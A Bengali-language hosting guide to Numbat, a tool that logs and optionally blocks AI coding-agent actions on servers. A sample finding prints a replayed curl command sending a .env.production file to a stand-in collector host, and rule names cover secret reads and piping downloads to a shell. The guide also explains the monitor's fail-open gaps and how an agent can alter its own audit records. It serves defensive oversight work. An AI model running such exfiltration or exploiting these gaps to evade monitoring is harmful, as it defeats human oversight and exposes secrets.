SSD Nodes Learn 🎉 VPS $4.99/মাস থেকে
নির্দেশিকা Matt Connorদ্বারা Matt Connor · আপডেট করা হয়েছে 2026-08-07

Numbat: AI agent আপনার সার্ভারে কী করেছে দেখুন

Perplexity-এর open source Numbat coding agent-এর কাজ record করে। এটি কী দেখতে পারে, কোন event ধরে এবং কেন SSH key পড়া বা command আটকাতে পারে না, তা জানুন।

Numbat কী

Numbat আপনার মালিকানাধীন কোনো মেশিনে AI agent কী করেছে তা দেখার সুযোগ দেয়। এটি coding agent ইতিমধ্যে তৈরি করা hook callback এবং session file পড়ে, সেগুলোকে একটি অভিন্ন event format-এ রূপান্তর করে, এবং এমন rule-এর সঙ্গে মিলিয়ে দেখে যেগুলো SSH private key পড়া বা কোনো download সরাসরি shell-এ pipe করার মতো আচরণ শনাক্ত হলে কার্যকর হয়। Perplexity এটিকে Apache 2.0 license-এর অধীনে open source হিসেবে প্রকাশ করেছে। প্রথম tagged release প্রকাশিত হয় 29 July 2026-এ।

নিচের সব তথ্য প্রকল্পটির repository এবং নিজস্ব documentation থেকে নেওয়া হয়েছে, যা 2 August 2026-এ পড়া হয়েছিল। কোনো দাবি Perplexity-এর হলে এই লেখায় তা স্পষ্টভাবে উল্লেখ করা হয়েছে। এটি install tutorial নয়, কারণ repository-টি মাত্র কয়েক দিন পুরোনো এবং এর command পরিবর্তিত হতে পারে।

সমস্যা: agent কী করেছে, তা কেউ নথিবদ্ধ করে না

আপনার VPS-এ চলা একটি coding agent shell command চালায়, file পড়ে, file লেখে এবং network connection খোলে—সবই আপনি যে user-এর অধীনে তাকে চালিয়েছেন, সেই user হিসেবে। আপনার shell history-এর কোনো কিছুই এগুলো record করে না, কারণ agent আপনার shell-এ command টাইপ করে না। sshd শুধু আপনার login record করে; এরপর model কী করার সিদ্ধান্ত নিয়েছে, তা record করে না। /var/log/auth.log নীরব থাকে, যতক্ষণ না কোনো কিছু sudo-এর জন্য access করার চেষ্টা করে। agent নিজের transcript সংরক্ষণ করে, কিন্তু সেই file agent-এর session directory-তে থাকে, এর format release ভেদে পরিবর্তিত হয়, এবং agent-এর নিজের process সেই file-এ লিখতে পারে।

তাই কেউ যদি জিজ্ঞাসা করে, agent গত মঙ্গলবার .env.production পড়েছিল কি না, অধিকাংশ server-এ সৎ উত্তর হলো—আপনি তা জানতে পারবেন না। এই ঘাটতির কারণেই এই project তৈরি করা হয়েছে।

Perplexity-এর দাবি অনুযায়ী Numbat যা করে

README-এর শুরুতেই টুলটিকে এভাবে বর্ণনা করা হয়েছে: “AI agent-এর কার্যকলাপের endpoint visibility, যেখানে local detection, ঐচ্ছিক pre-action blocking এবং forensic reconstruction রয়েছে।” এখানে endpoint বলতে বাইরে থেকে নজর রাখা কোনো network appliance নয়; agent যে মেশিনে চলে, সেটিই বোঝানো হয়েছে। এগুলো আলাদা capability এবং প্রতিটির গুরুত্বও আলাদা।

Detection ডিভাইসেই চলে। Rules CEL (common expression language)-এ লেখা হয় এবং স্থানীয়ভাবে evaluate করা হয়। এর ওপর multi-step sequence rules এবং YAML-এ নিজের rules ব্যবহারের support রয়েছে। কোনো rule কার্যকর হওয়ার জন্য কিছুই মেশিনের বাইরে পাঠাতে হয় না।

Blocking ঐচ্ছিক এবং সীমিত। এটি শুধু synchronous pre-action hooks-এর মাধ্যমে কাজ করে, তাও যেসব agent এই hook প্রকাশ করে সেগুলোতে। আপনি চালু না করা পর্যন্ত এটি বন্ধ থাকে।

Reconstruction পরে ঘটে। numbat scan agent আগে disk-এ লিখে রাখা session artifacts parse করে। তাই কিছু install করার আগের কার্যকলাপও পরীক্ষা করা যায়। প্রকল্পটি এই দাবির সীমা স্পষ্টভাবে নির্ধারণ করেছে: “At-rest reconstruction disk বা memory acquisition নয় এবং agent যে কার্যকলাপ persist করেনি, তা পুনরুদ্ধার করতে পারে না।”

Output হলো versioned NDJSON (newline delimited JSON), যাতে events, findings, enforcement decisions, indicators এবং scan summaries থাকে। v0.1.2 অনুযায়ী schema version হলো 0.2.0। Records stdout বা local file-এ লেখা হয় এবং ঐচ্ছিকভাবে আপনার পরিচালিত collector-এ HTTP-এর মাধ্যমে পাঠানো যায়। এটি cgo ছাড়া build করা একটি static Go binary হিসেবে প্রকাশিত হয়। macOS, Linux এবং Windows-এর amd64 ও arm64 architecture support করে। তাই Linux VPS-এ আগে কোনো runtime install না করেই এটি একটি মাত্র file হিসেবে চালানো যায়।

Numbat আসলে কোন agent দেখতে পারে?

docs/agent-coverage.md-এর coverage matrix-ই প্রামাণ্য তালিকা, এবং এটির কভারেজ অসম। প্রকল্পটি বিষয়টি গোপন না করে স্পষ্টভাবে উল্লেখ করেছে। Claude Code, Codex, Gemini CLI, Cursor এবং GitHub Copilot CLI—এগুলোর artifact scanning এবং pre-action hook-সহ live capture দুটিই আছে। 2026.7.1 বা পরবর্তী version থেকে OpenClaw-এর জন্য native plugin পাওয়া যায়। আরও অনেক entry-কে deferred হিসেবে চিহ্নিত করা হয়েছে। এর অর্থ, live hook path আছে, কিন্তু artifact parser নেই। প্রায়ই এর কারণ হলো, ওই agent তার history SQLite-এ write-ahead log-সহ সংরক্ষণ করে, যা agent চলার সময় নিরাপদে পড়া যায় না। 2 August 2026-এ matrix পড়ার সময় OpenCode এবং Cline এই group-এ ছিল।

এই tool নিয়ে কোনো পরিকল্পনা করার আগে আপনার agent-এর row পরীক্ষা করুন। কারণ প্রায় প্রতিটি row-তে "supported" কথাটির অর্থ আলাদা।

একটি detection কেমন দেখায়

Rules-এ এমন id থাকে, যা rule-টির উদ্দেশ্য জানায়। secrets.read_private_key একটি SSH key, AWS credentials, kube config অথবা package registry login কভার করে। exec.download_pipe_shell তখন trigger হয়, যখন curl অথবা wget-এর output কোনো interpreter-এ pipe করা হয়। privilege.elevated_shell sudo, doas, su অথবা pkexec ব্যবহার করে interactive root shell চাওয়ার ঘটনা শনাক্ত করে। impact.cryptomining_launch পরিচিত miner binary এবং image name-এর সঙ্গে মেলে।

Sequence rule একটি session-এর ভেতরের একাধিক event একত্র করে। chain.secret_read_then_egress-এর ক্ষেত্রে প্রথমে একটি secret file পড়তে হবে, এরপর এমন একটি command চলতে হবে যা data বাইরে পাঠায়। README-তে নিচের finding-টি live incident থেকে নয়; দুটি Claude Code pre-action callback নিয়ন্ত্রিতভাবে replay করার ফল হিসেবে এটি প্রকাশ করা হয়েছে। এখানে শুধু প্রয়োজনীয় field-গুলো রাখা হয়েছে:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Record-এর ভেতরে "confidence": "medium" রয়েছে—এটি লক্ষ করুন। এই ধরনের সম্পূর্ণ output সম্পর্কে project-টি যা বলে, তাও লক্ষ করুন: "Finding হলো rule match, compromise-এর প্রমাণ নয়।" একটি deploy script যদি একটি key পড়ে এবং এরপর build artifact upload করে, তাহলে একই sequence rule-এর সঙ্গে match করবে। Match-টি সঠিক, কিন্তু alarm-টি ভুল। আপনি যে detection tool-ই ব্যবহার করুন না কেন, সাধারণত সেটিই তার স্বাভাবিক অবস্থা।

ডিফল্টভাবে blocking চালু থাকে না এবং এটি fail-open

Numbat যে প্রতিটি rule সরবরাহ করে, তা শুধু monitoring-এর জন্য। কোনো rule-কে block করতে হলে ইচ্ছাকৃতভাবে কাজ করতে হয়: rule-এর সম্পূর্ণ YAML নিজের directory-তে copy করুন, একই id রাখুন, enforce: true যোগ করুন, version বাড়ান, তারপর policy validate ও install করুন।

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

এখন নির্ধারণ করুন, আপনি এটিকে কতটা বিশ্বাস করবেন। Numbat-এর deny হলো agent-এর কাছে ফেরত পাঠানো একটি response। Tool call বাস্তবে প্রত্যাখ্যান করে agent-ই। Numbat নিজে সমস্যায় পড়লে কী ঘটে, enforcement guide তা সরাসরি বলেছে: "Malformed payloads, relevant evaluation errors, panics, and output failures suppress the numbat deny." Hook input-এর সর্বোচ্চ আকার 4 MiB। এর চেয়ে বড় input-ও একই পথে যায়।

Deny কার্যকর হলেও তার সীমাবদ্ধতা কী, guide সেটিও স্পষ্টভাবে বলেছে: "Fail-open means numbat withholds its deny response. It does not guarantee that the tool executes: the host may still prompt, deny, time out, or apply another hook or policy."

তাই এখানে enforcement একটি guardrail, boundary নয়। Process crash করলে Numbat action block করতে পারে না। কারণ প্রতিবার সমস্যায় পড়লে monitor যদি আপনার agent-কে স্থবির করে দেয়, তাহলে এক সপ্তাহের মধ্যেই সেটি uninstall করা হবে। এই trade-off যুক্তিসঙ্গত। তবে deny সব সময় পৌঁছাবে—এমন ধরে security model তৈরি করবেন না।

আপনার বিদ্যমান ব্যবস্থার পাশে Numbat-এর অবস্থান

Numbat endpoint-এ, agent-এর নিজস্ব process tree-এর ভেতরে চলে এবং ডিফল্টভাবে ~/.numbat/records.ndjson-এ লেখে। আপনার user হিসেবে চলা কোনো agent সেই ফাইল পড়তে পারে। এটি ফাইলটি সম্পাদনাও করতে পারে। audit trail-এর কার্যকারিতা তার চারপাশের isolation-এর সমান। তাই আপনার বিদ্যমান প্রতিটি control এই ব্যবস্থার পেছনে নয়, বরং এর সামনে প্রয়োগ হয়।

coding agent-এর জন্য একটি অস্থায়ী VM ব্যবহার করা একটি ক্ষতিকর run কত দূর পর্যন্ত পৌঁছাতে পারবে, তা সীমাবদ্ধ করে। VPS-এ least privilege user ব্যবহার করা agent-কে এমন ফাইল থেকে দূরে রাখে, যেগুলো খোলার কোনো অনুমতি তার নেই। agent-এর context থেকে credential দূরে রাখা-এর ফলে secrets.read_private_key মেলার ঘটনা যথেষ্ট বিরল হয়, তাই এটি ঘটলে তা পরীক্ষা করা অর্থবহ হয়। আর VPS-এ Claude Code-এর জন্য তৈরি করা sandbox-ই containment কার্যকর করে।

Numbat যে জিনিসটি যোগ করে, তা হলো record। তাই record এমন কোথাও পাঠান, যেখানে agent পৌঁছাতে পারে না। numbat ship এবং HTTP sink এই কাজের জন্য রয়েছে। দ্বিতীয় একটি মেশিনে stream-এর অনুলিপি থাকা একটি log file এবং evidence-এর মধ্যে পার্থক্য তৈরি করে। Event model-এ MCP (model context protocol) field-ও থাকে। তাই VPS-এ আপনার host করা MCP server-এর মাধ্যমে বাইরে যাওয়া tool call-গুলো local shell command-এর সঙ্গে একই stream-এ জমা হয়। এটি গুরুত্বপূর্ণ, কারণ শুধু bash পর্যবেক্ষণ করা কোনো ব্যবস্থা এই পথ দেখতে পায় না।

প্রথমে read-only মোডে পরীক্ষা করুন

একটি নির্দিষ্ট version install করুন। go install-এর জন্য Go 1.26.5 বা পরবর্তী version প্রয়োজন। Source থেকে build করতে না চাইলে releases page-এ SHA-256 checksum-সহ prebuilt binary পাওয়া যায়।

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents সিস্টেমে install করা agent শনাক্ত করে। numbat scan disk-এ আগে থেকেই থাকা session artifact parse করে এবং record দেখায়। README-তে বলা আছে, এই command-গুলো “hook install করে না বা agent configuration পরিবর্তন করে না”। এতে আরও বলা হয়েছে, numbat “artifact-এ পাওয়া agent বা command কখনো execute করে না এবং শুধু configured HTTP sink-এ outbound request পাঠায়”। Scanning read-only এবং secret redaction-সহ পরিচালিত হয়। সাধারণ record output-এ কখনো সম্পূর্ণ raw transcript থাকে না।

Live capture পরবর্তী ধাপ। এটি agent configuration পরিবর্তন করে:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all event, finding, indicator এবং প্রযোজ্য enforcement decision ~/.numbat/records.ndjson-এ লেখে। Project-এর দুটি সতর্কতা সরাসরি মনে রাখা উচিত। Hook চালানোর আগে agent-এর ভিতরে সেটিকে trusted হিসেবে অনুমোদন করতে হতে পারে। --enforce-এর মতো flag পরিবর্তন করার পর সেই trust আবার পর্যালোচনা করতে হবে। এছাড়া hook status “শুধু configuration যাচাই করে, execution বা delivery নয়”। তাই healthy status line দেখা গেলেই record কোথাও পৌঁছাচ্ছে—এমন প্রমাণ হয় না।

এত নতুন একটি repository-কে dependency হিসেবে ব্যবহার না করার কারণ

Public release হিসেবে v0.1.1 প্রকাশিত হয় 29 July 2026-এ এবং v0.1.2 প্রকাশিত হয় 1 August 2026-এ। এই পোস্টটি লেখার সময়, 2 August 2026-এ repository-টির 597টি star ছিল। এত দ্রুত star বাড়া Perplexity-এর audience-এর পরিসর বোঝায়; code কতটা স্থিতিশীল, তা নয়। একটি star দেওয়ার অর্থ হলো কেউ পরে দেখার জন্য page-টি সংরক্ষণ করেছে।

Version number-টি প্রকল্পটির বর্তমান অবস্থান সম্পর্কে সৎ ধারণা দেয়। v0.1.2-এর notes-এ মূলত credential redaction fix এবং case bundle ও telemetry normalization-এর কাজ রয়েছে। অন্য program-এর transcript নিরাপদে পড়াই যে tool-এর কাজ, তার প্রাথমিক defect হিসেবে redaction bug স্বাভাবিক। এ ধরনের bug আরও থাকবে, কারণ input আসে এক ডজন agent থেকে এবং প্রতিটি agent নিজস্ব সময়সূচি অনুযায়ী format পরিবর্তন করে।

এ থেকে দুটি ব্যবহারিক নিয়ম অনুসরণ করুন। আপনি যা সংরক্ষণ করবেন, সেখানে কখনো @latest নয়, tag pin করুন। এবং অন্তত record schema-এর পরিবর্তন বন্ধ না হওয়া পর্যন্ত এটিকে এমন একটি instrument হিসেবে বিবেচনা করুন, যা আপনি মূল্যায়ন করছেন; এমন control হিসেবে নয়, যার ওপর আপনি নির্ভর করছেন।

FAQ

Numbat কি বিপজ্জনক AI agent command ব্লক করে?

শুধু আপনি opt in করলে, এবং তাও best effort ভিত্তিতে। Numbat-এর সঙ্গে থাকা প্রতিটি rule কেবল monitor only। ব্লক করতে হলে rule-এর YAML আপনার নিজস্ব directory-তে copy করুন, এর id অপরিবর্তিত রাখুন, enforce: true যোগ করুন, version বাড়ান এবং --enforce দিয়ে hook install করুন। এরপরও deny একটি response হিসেবে agent-এর কাছে পাঠানো হয়, এবং call প্রত্যাখ্যান করে agent নিজেই। Project-টি fail-open আচরণ নথিভুক্ত করেছে: malformed payload, evaluation error, panic এবং output failure হলে deny দমন করা হয়। এটিকে guardrail হিসেবে ব্যবহার করুন, একমাত্র security boundary হিসেবে নয়।

Numbat কোন কোন AI agent সমর্থন করে?

প্রতিটি agent-এর coverage আলাদা এবং repository-র docs/agent-coverage.md-এ তা তালিকাভুক্ত আছে। 2 August 2026 তারিখে ওই পৃষ্ঠা পড়ার সময় Claude Code, Codex, Gemini CLI, Cursor এবং GitHub Copilot CLI—এগুলোর artifact scanning ও live capture দুটিই ছিল। OpenClaw-এর জন্য version 2026.7.1 থেকে একটি native plugin আছে। আরও অনেক agent-এর জন্য live hook path তালিকাভুক্ত থাকলেও artifact parser এখনও নেই। সাধারণত কারণ, তাদের session history এমন একটি SQLite database-এ থাকে যা agent চলার সময় নিরাপদে পড়া যায় না। আপনার agent-এর সারিটি পড়ুন, কারণ সেখানে "supported" শব্দটি একাধিক ভিন্ন স্তর বোঝায়।

Agent কি Numbat-এর record পরিবর্তন করতে পারে?

হ্যাঁ, যদি এটি একই user হিসেবে চলে। ডিফল্টভাবে record agent-এর একই machine-এর ~/.numbat/records.ndjson-এ থাকে। তাই ওই path-এ write access থাকা যেকোনো কিছু record পরিবর্তন বা মুছে ফেলতে পারে। numbat ship অথবা HTTP sink ব্যবহার করে stream এমন একটি collector-এ পাঠান, যেখানে agent-এর access নেই। স্থানীয় file-টি convenience copy হিসেবে রাখুন। এ কারণেই tool-টি isolation-এর পরিপূরক, isolation-এর বিকল্প নয়। least privilege user-এর অধীনে disposable VM-এ সীমাবদ্ধ একটি agent নিজের audit trail-এ অনেক কম access পায়।

Numbat কি production server-এর জন্য প্রস্তুত?

আপনি যার ওপর নির্ভর করবেন, এমন control হিসেবে নয়। প্রথম public release ছিল 29 July 2026-এ v0.1.1 এবং v0.1.2 প্রকাশিত হয় 1 August 2026-এ। তাই flag ও record schema—দুটিই এখনও পরিবর্তিত হচ্ছে। কোনো box-এ numbat agents এবং numbat scan চালানো read-only এবং low risk। এতে আপনার agent-গুলো disk-এ কী রেখে যাচ্ছে তা জানা যাবে। গুরুত্বপূর্ণ server-এ enforcement hook install করা আলাদা সিদ্ধান্ত। এ ক্ষেত্রে একটি pinned tag এবং hook ভুল আচরণ করলে কী হবে তার পরিকল্পনা থাকা উচিত।